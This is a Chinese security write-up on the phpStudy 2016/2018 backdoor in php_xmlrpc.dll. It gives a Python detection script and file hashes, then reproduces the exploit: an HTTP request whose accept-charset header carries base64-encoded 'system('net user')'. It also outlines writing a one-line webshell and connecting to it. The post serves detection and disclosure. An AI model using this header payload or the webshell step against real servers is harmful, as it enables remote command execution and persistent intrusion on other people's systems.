事件背景

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户

9月20日杭州公安微信公众账号发布了“杭州警方通报打击涉网违法犯罪暨“净网2019”专项行动战果”的文章,文章里说明phpstudy存在“后门”

影响版本

软件作者声明phpstudy 2016版PHP5.4存在后门。

实际测试官网下载phpstudy2018版php-5.2.17和php-5.4.45也同样存在后门

后门检测方法

通过分析,后门代码存在于\ext\php_xmlrpc.dll模块中

1
2
3
4
5
6
7
phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl

用记事本打开此文件查找@eval,文件存在@eval(%s('%s'))确认存在漏洞

python脚本检测程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# -*- coding:utf8 -*-
#__author__='pcat@chamd5.org'
#__blog__='http://pcat.cc'

import os
import string
import re


def strings(file) :
chars = string.printable[:94]
shortestReturnChar = 4
regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
pattern = re.compile(regExp)
with open(file, 'rb') as f:
return pattern.findall(f.read())


def grep(lines,pattern):
for line in lines:
if pattern in line:
yield line


def pcheck(filename):
# trojan feature
trojan='@eval'
# just check dll file
if filename.endswith('.dll'):
lines=strings(filename)
try:
grep(lines,trojan).next()
except:
return
print '=== {0} ==='.format(filename)
for line in grep(lines,trojan):
print line
pass


def foo():
# . stand for current directory
for path, dirs, files in os.walk(".", topdown=False):
for name in files:
pcheck(os.path.join(path, name))
for name in dirs:
pcheck(os.path.join(path, name))
pass


if __name__ == '__main__':
foo()

附后门文件MD5值:

MD5: 0F7AD38E7A9857523DFBCE4BCE43A9E9
MD5: C339482FD2B233FB0A555B629C0EA5D5

RCE复现

将含有后门的phpstudy运行起来,php-5.2.17、php-5.4.45都存在漏洞,这里我们选择php-5.2.17,然后访问网站

通过bp抓取访问包,修改请求包内容,直接触发远程命令执行

1
2
3
4
5
6
7
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCduZXQgdXNlcicpOw==
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9

这里的字段c3lzdGVtKCduZXQgdXNlcicpOw==是经过base64编码的system(‘net user’);

1
accept-charset: c3lzdGVtKCduZXQgdXNlcicpOw==

既然能执行命令了就可以写shell了,把一句话经过base64编码后,直接写入,然后中国蚁剑连接即可

参考链接

phpstudy后门rce批量利用脚本

Phpstudy隐藏后门